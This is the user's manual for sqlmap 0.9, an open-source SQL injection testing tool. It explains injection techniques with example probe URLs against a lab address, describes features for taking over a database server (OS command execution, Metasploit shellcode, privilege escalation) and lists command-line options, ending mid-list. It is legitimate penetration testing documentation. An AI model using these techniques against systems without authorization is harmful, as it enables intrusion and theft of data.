sqlmap user's manual <author>by <htmlurl url="mailto:bernardo.damele@gmail.com" name="Bernardo Damele A. G.">, <htmlurl url="mailto:miroslav.stampar@gmail.com" name="Miroslav Stampar"> <date>version 0.9, March 10, 2011 <abstract> This document is the user's manual to use <htmlurl url="http://sqlmap.sourceforge.net" name="sqlmap">. </abstract> <toc> <sect>Introduction sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a kick-ass detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections. <sect1>Requirements sqlmap is developed in <htmlurl url="http://www.python.org" name="Python">, a dynamic object-oriented interpreted programming language. This makes the tool independent from the operating system. It only requires the Python interpreter version equal or higher than <bf>2.6</bf>. The interpreter is freely downloadable from its <htmlurl url="http://python.org/download/" name="official site">. To make it even easier, many GNU/Linux distributions come out of the box with Python interpreter installed and other Unices and Mac OSX too provide it packaged in their formats and ready to be installed. Windows users can download and install the Python setup-ready installer for x86, AMD64 and Itanium too. sqlmap relies on the <htmlurl url="http://metasploit.com/framework/" name="Metasploit Framework"> for some of its post-exploitation takeover features. You need to grab a copy of it from the <htmlurl url="http://metasploit.com/framework/download/" name="download"> page - the required version is <bf>3.5</bf> or higher. For the ICMP tunneling out-of-band takeover technique, sqlmap requires <htmlurl url="http://corelabs.coresecurity.com/index.php?module=Wiki&action=view&type=tool&name=Impacket" name="Impacket"> library too. If you are willing to connect directly to a database server (<tt>-d</tt> switch), without passing via a web application, you need to install Python bindings for the database management system that you are going to attack: <itemize> <item>Firebird: <htmlurl name="python-kinterbasdb" url="http://kinterbasdb.sourceforge.net/"> <item>Microsoft Access: <htmlurl name="python-pyodbc" url="http://pyodbc.googlecode.com/"> <item>Microsoft SQL Server or Sybase: <htmlurl name="python-pymssql" url="http://pymssql.sourceforge.net/"> <item>MySQL: <htmlurl name="python-mysqldb" url="http://mysql-python.sourceforge.net/"> <item>Oracle: <htmlurl name="python cx_Oracle" url="http://cx-oracle.sourceforge.net/"> <item>PostgreSQL: <htmlurl name="python-psycopg2" url="http://initd.org/psycopg/"> <item>SQLite: <htmlurl name="python-pysqlite2" url="http://pysqlite.googlecode.com/"> </itemize> If you plan to attack a web application behind NTLM authentication or use the sqlmap update functionality (<tt>--update</tt> switch) you need to install respectively <htmlurl url="http://code.google.com/p/python-ntlm/" name="python-ntlm"> and <htmlurl url="http://pysvn.tigris.org/" name="python-svn"> libraries. Optionally, if you are running sqlmap on Windows, you may wish to install <htmlurl url="http://ipython.scipy.org/moin/PyReadline/Intro" name="PyReadline"> library to be able to take advantage of the sqlmap TAB completion and history support features in the SQL shell and OS shell. Note that these functionalities are available natively by Python standard <htmlurl url="http://docs.python.org/library/readline.html" name="readline"> library on other operating systems. You can also choose to install <htmlurl url="http://psyco.sourceforge.net/" name="Psyco"> library to eventually speed up the sqlmap algorithmic operations. <sect1>Scenario <sect2>Detect and exploit a SQL injection Let's say that you are auditing a web application and found a web page that accepts dynamic user-provided values on <tt>GET</tt> or <tt>POST</tt> parameters or HTTP <tt>Cookie</tt> values or HTTP <tt>User-Agent</tt> header value. You now want to test if these are affected by a SQL injection vulnerability, and if so, exploit them to retrieve as much information as possible out of the web application's back-end database management system or even be able to access the underlying file system and operating system. In a simple world, consider that the target url is: <tscreen><tt>http://192.168.136.131/sqlmap/mysql/get_int.php?id=1</tt></tscreen> Assume that: <tscreen><tt>http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=1</tt></tscreen> is the same page as the original one and: <tscreen><tt>http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=2</tt></tscreen> differs from the original one, it means that you are in front of a SQL injection vulnerability in the <tt>id</tt> <tt>GET</tt> parameter of the <tt>index.php</tt> web application page which means that potentially no IDS/IPS, no web application firewall, no parameters' value sanitization is performed on the server-side before sending the SQL statement to the back-end database management system the web application relies on. This is a quite common flaw in dynamic content web applications and it does not depend upon the back-end database management system nor on the web application programming language: it is a programmer code's security flaw. The <htmlurl url="http://www.owasp.org" name="Open Web Application Security Project"> rated on 2010 in their <htmlurl url="http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project" name="OWASP Top Ten"> survey this vulnerability as the <htmlurl url="http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202010.pdf" name="most common"> and important web application vulnerability along with other injection flaws. Back to the scenario, probably the SQL <tt>SELECT</tt> statement into <tt>get_int.php</tt> has a syntax similar to the following SQL query, in pseudo PHP code: <tscreen><tt> $query = "SELECT [column(s) name] FROM [table name] WHERE id=" . $_REQUEST['id']; </tt></tscreen> As you can see, appending any other syntatically valid SQL condition after a value for <tt>id</tt> such condition will take place when the web application passes the query to the back-end database management system that executes it, that is why the condition <tt>id=1 AND 1=1</tt> is valid (True) and returns the same page as the original one, with the same content. This is the case of a boolean-based blind SQL injection vulnerability. However, sqlmap is able to detect any type of SQL injection and adapt its work-flow accordingly. Read below for further details. Moreover, in this simple and easy to inject scenario it would be also possible to append, not just one or more valid SQL condition(s), but also stacked SQL queries, for instance something like <tt>[...]&id=1; ANOTHER SQL QUERY#</tt> if the web application technology supports stacked queries, also known as multiple statements. Now that you found this SQL injection vulnerable parameter, you can exploit it by manipulating the <tt>id</tt> parameter value in the HTTP request. There exist many <htmlurl url="http://delicious.com/inquis/sqlinjection" name="resources"> on the Net explaining in depth how to prevent, detect and exploit SQL injection vulnerabilities in web application and it is recommended to read them if you are not familiar with the issue before going ahead with sqlmap. Passing the original address, <tt>http://192.168.136.131/sqlmap/mysql/get_int.php?id=1</tt> to sqlmap, the tool will automatically: <itemize> <item>Identify the vulnerable parameter(s) (<tt>id</tt> in this example); <item>Identify which SQL injection techniques can be used to exploit the vulnerable parameter(s); <item>Fingerprint the back-end database management system; <item>Depending on the user's options, it will extensively fingerprint, enumerate data or takeover the database server as a whole. </itemize> <sect2>Direct connection to the database management system Up until sqlmap version <bf>0.8</bf>, the tool has been yet another SQL injection tool, used by web application penetration testers/newbies/curious teens/computer addicted/punks and so on. Things move on and as they evolve, we do as well. Now it supports this new switch, <tt>-d</tt>, that allows you to connect from your machine to the database server's TCP port where the database management system daemon is listening on and perform any operation you would do while using it to attack a database via a SQL injection vulnerability. <sect1>Techniques sqlmap is able to detect and exploit five SQL injection families: <itemize> <item><bf>Boolean-based blind SQL injection</bf>, also known as <bf>inferential SQL injection</bf>: sqlmap replaces or appends to the affected parameter in the HTTP request, a syntatically valid SQL statement string containing a <tt>SELECT</tt> sub-statement, or any other SQL statement whose the user want to retrieve the output. For each HTTP response, by making a comparison between the HTTP response headers/body with the original request, the tool inference the output of the injected statement character by character. Alternatively, the user can provide a string or regular expression to match on True pages. The bisection algorithm implemented in sqlmap to perform this technique is able to fetch each character of the output with a maximum of seven HTTP requests. Where the output is not within the clear-text plain charset, sqlmap will adapt the algorithm with bigger ranges to detect the output. <item><bf>Time-based blind SQL injection</bf>, also known as <bf>full blind SQL injection</bf>: sqlmap replaces or appends to the affected parameter in the HTTP request, a syntatically valid SQL statement string containing a query which put on hold the back-end DBMS to return for a certain number of seconds. For each HTTP response, by making a comparison between the HTTP response time with the original request, the tool inference the output of the injected statement character by character. Like for boolean-based technique, the bisection algorithm is applied. <item><bf>Error-based SQL injection</bf>: sqlmap replaces or append to the affected parameter a database-specific syntatically wrong statement and parses the HTTP response headers and body in search of DBMS error messages containing the injected pre-defined chain of characters and the statement output within. This technique works when the web application has been configured to disclose back-end database management system error messages only. <item><bf>UNION query SQL injection</bf>, also known as <bf>inband SQL injection</bf>: sqlmap appends to the affected parameter a syntatically valid SQL statement string starting with a <tt>UNION ALL SELECT</tt>. This techique works when the web application page passes the output of the <tt>SELECT</tt> statement within a <tt>for</tt> cycle, or similar, so that each line of the query output is printed on the page content. sqlmap is also able to exploit <bf>partial (single entry) UNION query SQL injection</bf> vulnerabilities which occur when the output of the statement is not cycled in a <tt>for</tt> construct whereas only the first entry of the query output is displayed. <item><bf>Stacked queries SQL injection</bf>, also known as <bf>multiple statements SQL injection</bf>: sqlmap tests if the web application supports stacked queries then, in case it does support, it appends to the affected parameter in the HTTP request, a semi-colon (<tt>;</tt>) followed by the SQL statement to be executed. This technique is useful to run SQL statements other than <tt>SELECT</tt> like, for instance, data definition or data manipulation statements possibly leading to file system read and write access and operating system command execution depending on the underlying back-end database management system and the session user privileges. </itemize> <sect1>Demo You can watch several demo videos, they are hosted on <htmlurl url="http://www.youtube.com/user/inquisb#g/u" name="YouTube">. <sect>Features TODO: Features implemented in sqlmap include: <sect1>Generic features <itemize> <item>Full support for <bf>MySQL</bf>, <bf>Oracle</bf>, <bf>PostgreSQL</bf>, <bf>Microsoft SQL Server</bf>, <bf>Microsoft Access</bf>, <bf>SQLite</bf>, <bf>Firebird</bf>, <bf>Sybase</bf> and <bf>SAP MaxDB</bf> database management systems. <item>Full support for five SQL injection techniques: <bf>boolean-based blind</bf>, <bf>time-based blind</bf>, <bf>error-based</bf>, <bf>UNION query</bf> and <bf>stacked queries</bf>. <item>It is possible to provide a single target URL, get the list of targets from <htmlurl url="http://portswigger.net/suite/" name="Burp proxy"> requests log file or <htmlurl url="http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project" name="WebScarab proxy"> <tt>conversations/</tt> folder, get the whole HTTP request from a text file or get the list of targets by providing sqlmap with a Google dork which queries <htmlurl url="http://www.google.com" name="Google"> search engine and parses its results page. You can also define a regular-expression based scope that is used to identify which of the parsed addresses to test. <item>Tests provided <bf>GET</bf> parameters, <bf>POST</bf> parameters, HTTP <bf>Cookie</bf> header values, HTTP <bf>User-Agent</bf> header value and HTTP <bf>Referer</bf> header value to find the dynamic ones, which means those that vary the HTTP response page content. On the dynamic ones sqlmap automatically tests and detects the ones affected by SQL injection. Each dynamic parameter is tested for numeric, single quoted string, double quoted string and all of these three data-types with zero to two parenthesis to correctly detect which is the <tt>SELECT</tt> statement syntax to perform further injections with. It is also possible to specify the only parameter(s) that you want to perform tests and use for injection on. <item>Option to specify the <bf>maximum number of concurrent HTTP requests</bf> to speed up the inferential blind SQL injection algorithms (multi-threading). It is also possible to specify the number of seconds to wait between each HTTP request. <item><bf>HTTP <tt>Cookie</tt> header</bf> string support, useful when the web application requires authentication based upon cookies and you have such data or in case you just want to test for and exploit SQL injection on such header. You can also specify to always URL-encode the Cookie header. <item>Automatically handle <bf>HTTP <tt>Set-Cookie</tt> header</bf> from the application, re-establishing of the session if it expires. Test and exploit on these values is supported too. You can also force to ignore any <tt>Set-Cookie</tt> header. <item><bf>HTTP Basic, Digest, NTLM and Certificate authentications</bf> support. <item><bf>Anonymous HTTP proxy</bf> support to pass by the requests to the target application that works also with HTTPS requests. <item>Options to fake the <bf>HTTP <tt>Referer</tt> header</bf> value and the <bf>HTTP <tt>User-Agent</tt> header</bf> value specified by user or randomly selected from a text file. <item>Support to increase the <bf>verbosity level of output messages</bf>: there exist <bf>six levels</bf>. The default level is <bf>1</bf> in which information, warnings, errors and tracebacks (if any occur) will be shown. <item>Granularity in the user's options. <item><bf>Estimated time of arrival</bf> support for each query, updated in real time while fetching the information to give to the user an overview on how long it will take to retrieve the output. <item>Automatic support to save the session (queries and their output, even if partially retrieved) in real time while fetching the data on a text file and <bf>resume the injection from this file in a second time</bf>. <item>Support to read options from a configuration INI file rather than specify each time all of the options on the command line. Support also to save command line options on a configuration INI file. <item>Option to update sqlmap as a whole to the latest development version from the Subversion repository. <item>Integration with other IT security open source projects, <htmlurl url="http://metasploit.com/framework/" name="Metasploit"> and <htmlurl url="http://w3af.sourceforge.net/" name="w3af">. </itemize> <sect1>Fingerprint and enumeration features <itemize> <item><bf>Extensive back-end database software version and underlying operating system fingerprint</bf> based upon <htmlurl url="http://bernardodamele.blogspot.com/2007/06/database-management-system-fingerprint.html" name="inband error messages">, <htmlurl url="http://bernardodamele.blogspot.com/2007/06/database-management-system-fingerprint.html" name="banner parsing">, <htmlurl url="http://bernardodamele.blogspot.com/2007/07/more-on-database-management-system.html" name="functions output comparison"> and <htmlurl url="http://bernardodamele.blogspot.com/2007/07/more-on-database-management-system.html" name="specific features"> such as MySQL comment injection. It is also possible to force the back-end database management system name if you already know it. <item>Basic web server software and web application technology fingerprint. <item>Support to retrieve the DBMS <bf>banner</bf>, <bf>session user</bf> and <bf>current database</bf> information. The tool can also check if the session user is a database administrator (DBA). <item>Support to enumerate <bf>database users</bf>, <bf>users' password hashes</bf>, <bf>users' privileges</bf>, <bf>databases</bf>, <bf>tables</bf> and <bf>columns</bf>. <item>Support to <bf>dump database tables</bf> as a whole or a range of entries as per user's choice. The user can also choose to dump only specific column(s). <item>Support to automatically dump <bf>all</bf> databases' schemas and entries. It is possibly to exclude from the dump the system databases. <item>Support to enumerate and dump <bf>all databases' tables containing user provided column(s)</bf>. Useful to identify for instance tables containing custom application credentials. <item>Support to <bf>run custom SQL statement(s)</bf> as in an interactive SQL client connecting to the back-end database. sqlmap automatically dissects the provided statement, determines which technique to use to inject it and how to pack the SQL payload accordingly. </itemize> <sect1>Takeover features Some of these techniques are detailed in the white paper <htmlurl url="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf" name="Advanced SQL injection to operating system full control"> and in the slide deck <htmlurl url="http://www.slideshare.net/inquis/expanding-the-control-over-the-operating-system-from-the-database" name="Expanding the control over the operating system from the database">. <itemize> <item>Support to <bf>inject custom user-defined functions</bf>: the user can compile shared object then use sqlmap to create within the back-end DBMS user-defined functions out of the compiled shared object file. These UDFs can then be executed, and optionally removed, via sqlmap too. <item>Support to <bf>read and upload any file</bf> from the database server underlying file system when the database software is MySQL, PostgreSQL or Microsoft SQL Server. <item>Support to <bf>execute arbitrary commands and retrieve their standard output</bf> on the database server underlying operating system when the database software is MySQL, PostgreSQL or Microsoft SQL Server. <itemize> <item>On MySQL and PostgreSQL via user-defined function injection and execution. <item>On Microsoft SQL Server via <tt>xp_cmdshell()</tt> stored procedure. Also, the stored procedure is re-enabled if disabled or created from scratch if removed. </itemize> <item>Support to <bf>establish an out-of-band stateful TCP connection between the user machine and the database server</bf> underlying operating system. This channel can be an interactive command prompt, a Meterpreter session or a graphical user interface (VNC) session as per user's choice. sqlmap relies on Metasploit to create the shellcode and implements four different techniques to execute it on the database server. These techniques are: <itemize> <item>Database <bf>in-memory execution of the Metasploit's shellcode</bf> via sqlmap own user-defined function <tt>sys_bineval()</tt>. Supported on MySQL and PostgreSQL. <item>Upload and execution of a Metasploit's <bf>stand-alone payload stager</bf> via sqlmap own user-defined function <tt>sys_exec()</tt> on MySQL and PostgreSQL or via <tt>xp_cmdshell()</tt> on Microsoft SQL Server. <item>Execution of Metasploit's shellcode by performing a <bf>SMB reflection attack</bf> (<htmlurl url="http://www.microsoft.com/technet/security/Bulletin/MS08-068.mspx" name="MS08-068">) with a UNC path request from the database server to the user's machine where the Metasploit <tt>smb_relay</tt> server exploit runs. <item>Database in-memory execution of the Metasploit's shellcode by exploiting <bf>Microsoft SQL Server 2000 and 2005 <tt>sp_replwritetovarbin</tt> stored procedure heap-based buffer overflow</bf> (<htmlurl url="http://www.microsoft.com/technet/security/bulletin/ms09-004.mspx" name="MS09-004">) with automatic DEP bypass. </itemize> <item>Support for <bf>database process' user privilege escalation</bf> via Metasploit's <tt>getsystem</tt> command which include, among others, the <htmlurl url="http://archives.neohapsis.com/archives/fulldisclosure/2010-01/0346.html" name="kitrap0d"> technique (<htmlurl url="http://www.microsoft.com/technet/security/bulletin/ms10-015.mspx" name="MS10-015">) or via <htmlurl url="http://labs.mwrinfosecurity.com/files/Publications/mwri_security-implications-of-windows-access-tokens_2008-04-14.pdf" name="Windows Access Tokens insecure design"> by using Meterpreter's <tt>incognito</tt> extension. <item>Support to access (read/add/delete) Windows registry hives. </itemize> <sect1>History <sect2>2011 <itemize> <item><bf>March 10</bf>, <htmlurl name="Bernardo and Miroslav" url="http://sqlmap.sourceforge.net/#developers"> release sqlmap <bf>0.9</bf> featuring a totally rewritten and powerful SQL injection detection engine, the possibility to connect directly to a database server, support for time-based blind SQL injection and error-based SQL injection, support for four new database management systems and much more. </itemize> <sect2>2010 <itemize> <item><bf>December</bf>, <htmlurl name="Bernardo and Miroslav" url="http://sqlmap.sourceforge.net/#developers"> have enhanced sqlmap a lot during the whole year and prepare to release sqlmap <bf>0.9</bf> within the first quarter of 2011. <item><bf>June 3</bf>, Bernardo <htmlurl name="presents" url="http://www.slideshare.net/inquis/ath-con-2010bernardodamelegotdbownnet"> a talk titled Got database access? Own the network! at AthCon 2010 in Athens (Greece). <item><bf>March 14</bf>, <htmlurl name="Bernardo and Miroslav" url="http://sqlmap.sourceforge.net/#developers"> release stable version of sqlmap <bf>0.8</bf> featuring many features. Amongst these, support to enumerate and dump all databases' tables containing user provided column(s), stabilization and enhancements to the takeover functionalities, updated integration with Metasploit 3.3.3 and a lot of minor features and bug fixes. <item><bf>March</bf>, sqlmap demo videos have been <htmlurl name="published" url="http://sqlmap.sourceforge.net/demo.html">. <item><bf>January</bf>, Bernardo is <htmlurl name="invited" url="http://www.athcon.org/speakers/"> to present at <htmlurl name="AthCon" url="http://www.athcon.org/archives/2010-2/"> conference in Greece on June 2010. </itemize> <sect2>2009 <itemize> <item><bf>December 18</bf>, Miroslav Stampar replies to the call for developers. Along with Bernardo, he actively develops sqlmap from version <bf>0.8 release candidate 2</bf>. <item><bf>December 12</bf>, Bernardo writes to the mailing list a post titled <htmlurl url="http://bernardodamele.blogspot.com/2009/12/sqlmap-state-of-art-3-years-later.html" name="sqlmap state of art - 3 years later"> highlighting the goals achieved during these first three years of the project and launches a call for developers. <item><bf>December 4</bf>, sqlmap-devel mailing list has been merged into sqlmap-users <htmlurl name="mailing list" url="http://sqlmap.sourceforge.net/#ml">. <item><bf>November 20</bf>, Bernardo and Guido present again their research on stealth database server takeover at CONfidence 2009 in Warsaw, Poland. <item><bf>September 26</bf>, sqlmap version <bf>0.8 release candidate 1</bf> goes public on the <htmlurl name="Subversion repository" url="https://svn.sqlmap.org/sqlmap/trunk/sqlmap/">, with all the attack vectors unveiled at SOURCE Barcelona 2009 Conference. These include an enhanced version of the Microsoft SQL Server buffer overflow exploit to automatically bypass DEP memory protection, support to establish the out-of-band connection with the database server by executing in-memory the Metasploit shellcode via UDF sys_bineval() (anti-forensics technique), support to access the Windows registry hives and support to inject custom user-defined functions. <item><bf>September 21</bf>, Bernardo and <htmlurl name="Guido Landi" url="http://www.pornosecurity.org"> <htmlurl name="present" url="http://www.sourceconference.com/index.php/pastevents/source-barcelona-2009/schedule"> their research (<htmlurl name="slides" url="http://www.slideshare.net/inquis/expanding-the-control-over-the-operating-system-from-the-database">) at SOURCE Conference 2009 in Barcelona, Spain. <item><bf>August</bf>, Bernardo is accepted as a speaker at two others IT security conferences, <htmlurl url="http://www.sourceconference.com/index.php/pastevents/source-barcelona-2009" name="SOURCE Barcelona 2009"> and <htmlurl url="http://200902.confidence.org.pl/" name="CONfidence 2009 Warsaw">. This new research is titled Expanding the control over the operating system from the database. <item><bf>July 25</bf>, stable version of sqlmap <bf>0.7</bf> is out! <item><bf>June 27</bf>, Bernardo <htmlurl name="presents" url="http://www.slideshare.net/inquis/sql-injection-not-only-and-11-updated"> an updated version of his SQL injection: Not only AND 1=1 slides at <htmlurl name="2nd Digital Security Forum" url="http://www.digitalsecurityforum.eu/"> in Lisbon, Portugal. <item><bf>June 2</bf>, sqlmap version <bf>0.6.4</bf> has made its way to the official Ubuntu repository too. <item><bf>May</bf>, Bernardo presents again his research on operating system takeover via SQL injection at <htmlurl url="http://www.owasp.org/index.php/OWASP_AppSec_Europe_2009_-_Poland" name="OWASP AppSec Europe 2009"> in Warsaw, Poland and at <htmlurl url="http://eusecwest.com/" name="EUSecWest 2009"> in London, UK. <item><bf>May 8</bf>, sqlmap version <bf>0.6.4</bf> has been officially accepted in Debian repository. Details on <htmlurl url="http://bernardodamele.blogspot.com/2009/05/sqlmap-in-debian-package-repository.html" name="this blog post">. <item><bf>April 22</bf>, sqlmap version <bf>0.7 release candidate 1</bf> goes public, with all the attack vectors unveiled at Black Hat Europe 2009 Conference. These include execution of arbitrary commands on the underlying operating system, full integration with Metasploit to establish an out-of-band TCP connection, first publicly available exploit for Microsoft Security Bulletin <htmlurl url="http://www.microsoft.com/technet/security/Bulletin/MS09-004.mspx" name="MS09-004"> against Microsoft SQL Server 2000 and 2005 and others attacks to takeover the database server as a whole, not only the data from the database. <item><bf>April 16</bf>, Bernardo <htmlurl url="http://www.blackhat.com/html/bh-europe-09/bh-eu-09-archives.html#Damele" name="presents"> his research (<htmlurl url="http://www.slideshare.net/inquis/advanced-sql-injection-to-operating-system-full-control-slides" name="slides">, <htmlurl url="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf" name="whitepaper">) at Black Hat Europe 2009 in Amsterdam, The Netherlands. The feedback from the audience is good and there has been some <htmlurl url="http://bernardodamele.blogspot.com/2009/03/black-hat-europe-2009.html" name="media coverage"> too. <item><bf>March 5</bf>, Bernardo <htmlurl url="http://www.slideshare.net/inquis/sql-injection-not-only-and-11" name="presents"> for the first time some of the sqlmap recent features and upcoming enhancements at an international event, <htmlurl url="http://www.owasp.org/index.php/Front_Range_OWASP_Conference_2009" name="Front Range OWASP Conference 2009"> in Denver, USA. The presentation is titled SQL injection: Not only AND 1=1. <item><bf>February 24</bf>, Bernardo is accepted as a <htmlurl url="http://www.blackhat.com/html/bh-europe-09/bh-eu-09-speakers.html#Damele" name="speaker"> at <htmlurl url="http://www.blackhat.com/html/bh-europe-09/bh-eu-09-main.html" name="Black Hat Europe 2009"> with a presentation titled Advanced SQL injection exploitation to operating system full control. <item><bf>February 3</bf>, sqlmap <bf>0.6.4</bf> is the last point release for 0.6: taking advantage of the stacked queries test implemented in 0.6.3, sqlmap can now be used to execute any arbitrary SQL statement, not only SELECT anymore. Also, many features have been stabilized, tweaked and improved in terms of speed in this release. <item><bf>January 9</bf>, Bernardo <htmlurl url="http://www.slideshare.net/inquis/sql-injection-exploitation-internals-presentation" name="presents"> SQL injection exploitation internals at a private event in London, UK. </itemize> <sect2>2008 <itemize> <item><bf>December 18</bf>, sqlmap <bf>0.6.3</bf> is released featuring support to retrieve targets from Burp and WebScarab proxies log files, support to test for stacked queries ant time-based blind SQL injection, rough fingerprint of the web server and web application technologies in use and more options to customize the HTTP requests and enumerate more information from the database. <item><bf>November 2</bf>, sqlmap version <bf>0.6.2</bf> is a "bug fixes" release only. <item><bf>October 20</bf>, sqlmap first point release, <bf>0.6.1</bf>, goes public. This includes minor bug fixes and the first contact between the tool and <htmlurl url="http://metasploit.com/framework" name="Metasploit">: an auxiliary module to launch sqlmap from within Metasploit Framework. The <htmlurl url="https://svn.sqlmap.org/sqlmap/trunk/sqlmap/" name="Subversion development repository"> goes public again. <item><bf>September 1</bf>, nearly one year after the previous release, sqlmap <bf>0.6</bf> comes to life featuring a complete code refactoring, support to execute arbitrary SQL SELECT statements, more options to enumerate and dump specific information are added, brand new installation packages for Debian, Red Hat, Windows and much more. <item><bf>August</bf>, two public <htmlurl name="mailing lists" url="http://sqlmap.sourceforge.net/#ml"> are created on SourceForge. <item><bf>January</bf>, sqlmap Subversion development repository is moved away from SourceForge and goes private for a while. </itemize> <sect2>2007 <itemize> <item><bf>November 4</bf>, release <bf>0.5</bf> marks the end of the OWASP Spring of Code 2007 contest participation. Bernardo has <htmlurl url="http://www.owasp.org/index.php/SpoC_007_-_SQLMap_-_Progress_Page" name="accomplished"> all the propsed objects which include also initial support for Oracle, enhanced support for UNION query SQL injection and support to test and exploit SQL injections in HTTP Cookie and User-Agent headers. <item><bf>June 15</bf>, Bernardo releases version <bf>0.4</bf> as a result of the first OWASP Spring of Code 2007 milestone. This release features, amongst others, improvements to the DBMS fingerprint engine, support to calculate the estimated time of arrival, options to enumerate specific data from the database server and brand new logging system. <item><bf>April</bf>, even though sqlmap was <bf>not</bf> and is <bf>not</bf> an OWASP project, it gets <htmlurl url="http://www.owasp.org/index.php/SpoC_007_-_SqlMap" name="accepted">, amongst many other open source projects to OWASP Spring of Code 2007. <item><bf>March 30</bf>, Bernardo applies to OWASP <htmlurl url="http://www.owasp.org/index.php/OWASP_Spring_Of_Code_2007_Applications#Bernardo_-_sqlmap" name="Spring of Code 2007">. <item><bf>January 20</bf>, sqlmap version <bf>0.3</bf> is released, featuring initial support for Microsoft SQL Server, support to test and exploit UNION query SQL injections and injection points in POST parameters. </itemize> <sect2>2006 <itemize> <item><bf>December 13</bf>, Bernardo releases version <bf>0.2</bf> with major enhancements to the DBMS fingerprint functionalities and replacement of the old inference algorithm with the bisection algorithm. <item><bf>September</bf>, Daniele leaves the project, <htmlurl url="http://bernardodamele.blogspot.com" name="Bernardo Damele A. G."> takes it over. <item><bf>August</bf>, Daniele adds initial support for PostgreSQL and releases version <bf>0.1</bf>. <item><bf>July 25</bf>, <htmlurl url="http://dbellucci.blogspot.com" name="Daniele Bellucci"> registers the sqlmap project on SourceForge and develops it on the <htmlurl url="http://sqlmap.svn.sourceforge.net/viewvc/sqlmap/" name="SourceForge Subversion repository">. The skeleton is implemented and limited support for MySQL added. </itemize> <sect>Download and update sqlmap can be downloaded from its <htmlurl url="http://sourceforge.net/projects/sqlmap/files/" name="SourceForge File List page">. It is available in two formats: <itemize> <item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap-0.9.tar.gz" name="Source gzip compressed">. <item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap-0.9.zip" name="Source zip compressed">. </itemize> You can also checkout the latest development version from the <htmlurl url="https://svn.sqlmap.org/sqlmap/trunk/sqlmap/" name="Subversion"> repository: <tscreen><verb> $ svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev </verb></tscreen> You can update it to the latest development version anytime by running: <tscreen><verb> $ python sqlmap.py --update </verb></tscreen> Or: <tscreen><verb> $ svn update </verb></tscreen> This is strongly recommended <bf>before</bf> reporting any bug to the <htmlurl url="http://sqlmap.sourceforge.net/#ml" name="mailing list">. <sect>License and copyright sqlmap is released under the terms of the <htmlurl url="http://www.gnu.org/licenses/old-licenses/gpl-2.0.html" name="General Public License v2">. sqlmap is copyrighted by its <htmlurl url="http://sqlmap.sourceforge.net/#developers" name="developers">. <sect>Usage <tscreen><verb> $ python sqlmap.py -h sqlmap/0.9 - automatic SQL injection and database takeover tool http://sqlmap.sourceforge.net Usage: sqlmap.py [options] Options: --version show program's version number and exit -h, --help show this help message and exit -v VERBOSE Verbosity level: 0-6 (default 1) Target: At least one of these options has to be specified to set the source to get target urls from. -d DIRECT Direct connection to the database -u URL, --url=URL Target url -l LIST Parse targets from Burp or WebScarab proxy logs -r REQUESTFILE Load HTTP request from a file -g GOOGLEDORK Process Google dork results as target urls -c CONFIGFILE Load options from a configuration INI file Request: These options can be used to specify how to connect to the target url. --data=DATA Data string to be sent through POST --cookie=COOKIE HTTP Cookie header --cookie-urlencode URL Encode generated cookie injections --drop-set-cookie Ignore Set-Cookie header from response --user-agent=AGENT HTTP User-Agent header --random-agent Use randomly selected HTTP User-Agent header --referer=REFERER HTTP Referer header --headers=HEADERS Extra HTTP headers newline separated --auth-type=ATYPE HTTP authentication type (Basic, Digest or NTLM) --auth-cred=ACRED HTTP authentication credentials (name:password) --auth-cert=ACERT HTTP authentication certificate (key_file,cert_file) --proxy=PROXY Use a HTTP proxy to connect to the target url --proxy-cred=PCRED HTTP proxy authentication credentials (name:password) --ignore-proxy Ignore system default HTTP proxy --delay=DELAY Delay in seconds between each HTTP request --timeout=TIMEOUT Seconds to wait before timeout connection (default 30) --retries=RETRIES Retries when the connection timeouts (default 3) --scope=SCOPE Regexp to filter targets from provided proxy log --safe-url=SAFURL Url address to visit frequently during testing --safe-freq=SAFREQ Test requests between two visits to a given safe url Optimization: These options can be used to optimize the performance of sqlmap. -o Turn on all optimization switches --predict-output Predict common queries output --keep-alive Use persistent HTTP(s) connections --null-connection Retrieve page length without actual HTTP response body --threads=THREADS Max number of concurrent HTTP(s) requests (default 1) --group-concat Use GROUP_CONCAT MySQL technique in dumping phase Injection: These options can be used to specify which parameters to test for, provide custom injection payloads and optional tampering scripts. -p TESTPARAMETER Testable parameter(s) --dbms=DBMS Force back-end DBMS to this value --os=OS Force back-end DBMS operating system to this value --prefix=PREFIX Injection payload prefix string --suffix=SUFFIX Injection payload suffix string --tamper=TAMPER Use given script(s) for tampering injection data Detection: These options can be used to specify how to parse and compare page content from HTTP responses when using blind SQL injection technique. --level=LEVEL Level of tests to perform (1-5, default 1) --risk=RISK Risk of tests to perform (0-3, default 1) --string=STRING String to match in page when the query is valid --regexp=REGEXP Regexp to match in page when the query is valid --text-only Compare pages based only on their textual content Techniques: These options can be used to test for specific SQL injection technique or to use one of them to exploit the affected parameter(s) rather than using the default blind SQL injection technique. --time-sec=TIMESEC Seconds to delay the DBMS response (default 5) --union-cols=UCOLS Range of columns to test for UNION query SQL injection --union-char=UCHAR Character to use to bruteforce number of columns Fingerprint: -f, --fingerprint Perform an extensive DBMS version fingerprint Enumeration: These options can be used to enumerate the back-end database management system information, structure and data contained in the tables. Moreover you can run your own SQL statements. -b, --banner Retrieve DBMS banner --current-user Retrieve DBMS current user --current-db Retrieve DBMS current database --is-dba Detect if the DBMS current user is DBA --users Enumerate DBMS users --passwords Enumerate DBMS users password hashes --privileges Enumerate DBMS users privileges --roles Enumerate DBMS users roles --dbs Enumerate DBMS databases --tables Enumerate DBMS database tables --columns Enumerate DBMS database table columns --dump Dump DBMS database table entries --dump-all Dump all DBMS databases tables entries --search Search column(s), table(s) and/or database name(s) -D DB DBMS database to 